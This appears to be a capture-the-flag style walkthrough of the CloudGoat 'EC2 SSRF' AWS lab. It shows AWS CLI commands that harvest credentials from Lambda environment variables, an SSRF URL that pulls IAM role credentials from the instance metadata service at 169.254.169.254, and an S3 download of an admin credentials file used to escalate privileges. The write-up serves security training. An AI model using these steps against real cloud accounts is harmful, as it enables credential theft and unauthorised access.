CloudGoat: EC2 Server-side request forgery (SSRF)
This scenario, we will start as the Solus
user which has ReadOnly permission on Lambda function, and the goal is invoking the lambda function.
List Lambda function
aws --profile solus lambda list-functions
This command will list all lambda functions in our account
Result:
{
"Functions": [
{
"FunctionName": "cg-lambda-ec2_ssrf_###",
"FunctionArn": "arn:aws:lambda:us-east-1:###:function:cg-lambda-ec2_ssrf_###",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "<ec2-access-key-id>",
"EC2_SECRET_KEY_ID": "<ec2-secret-key-id>"
}
}
}
]
}
You will see the credentials from environment variables. This credentials allow us to get EC2 instance detail.
List EC2 instances
With previous credentials, we created new user profile called cg-lambda
and we are able to list all EC2 instances with this user.
aws --profile cg-lambda ec2 describe-instances
This command will list all EC2 instances in your account.
Result:
{
"Reservations": [
{
"Groups": [],
"Instances": [
{
"ImageId": "ami-0a313d6098716f372",
"InstanceId": "<instance-id>",
"InstanceType": "t2.micro",
"PublicDnsName": "<public-dns-name>",
"PublicIpAddress": "<public-ip-address",
"State": {
"Code": 16,
"Name": "running"
}
}
]
}
]
}
You will get an EC2 instance which has a vulnerability that are allow us to request metadata of the instance itself and expose it credentials.
Get credentials from the compromised instance
When we request the instance IP Address, we will get an error.
TypeError: URL must be a string, not undefined
at new Needle (/node_modules/needle/lib/needle.js:151:11)
at Function.module.exports.(anonymous function) [as get] (/node_modules/needle/lib/needle.js:846:12)
at /home/ubuntu/app/ssrf-demo-app.js:32:12
at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
at next (/node_modules/express/lib/router/route.js:149:13)
at Route.dispatch (/node_modules/express/lib/router/route.js:119:3)
at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
at /node_modules/express/lib/router/index.js:284:15
at Function.process_params (/node_modules/express/lib/router/index.js:346:12)
at next (/node_modules/express/lib/router/index.js:280:10)
This error tells us that it can receive the parameter name URL
and we will use this paramter to get the metadata.
Go to
http://<instance-ip-address>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
And it will show you the role cg-ec2-role-ec2_ssrf_###
. This role is the role of the instance profile that are attached with this instance.
Now, we can get the credentials of the role by entering
http://<instance-ip-address>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
When you put the role name in this url, it will return you the credentials of this role.
This role allow us to read and download files from s3.
Get admin credentials from S3
We created a new user profile from previous credentials name cg-ec2
, and we will list all bucket in S3.
aws --profile cg-ec2 s3 ls
This command will list all the bucket in S3
Result:
2024-03-26 19:06:55 cg-secret-s3-bucket-ec2-ssrf-###
We got a bucket cg-secret-s3-bucket-ec2-ssrf-###
To see all the files in the cg-secret-s3-bucket-ec2-ssrf-###
bucket
aws --profile cg-ec2 s3 ls cg-secret-s3-bucket-ec2-ssrf-###
Result:
2024-03-26 19:07:03 62 admin-user.txt
In this bucket, there is a file name admin-user.txt
.
To download admin-user.txt
from S3 to our local computer
aws --profile cg-ec2 s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-###/admin-user.txt ./
Now, we got the admin-user.txt
file. Inside the file, we will get another credentials which allows us to invoke the lambda functions
Invoke Lambda Function
We created a new user profile name cg-admin
from the credentials in the admin-user.txt
file.
We knew what lamba function name from previous section, so we will invoke by this command.
aws --profile cg-admin lambda invoke --function-name cg-lambda-ec2_ssrf_### ./out.txt
This command will return the result in the file name out.txt
Result:
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
To check that we succeed,
cat out.txt
Result:
"You win!"
Yeah, you win. Congratulations πππ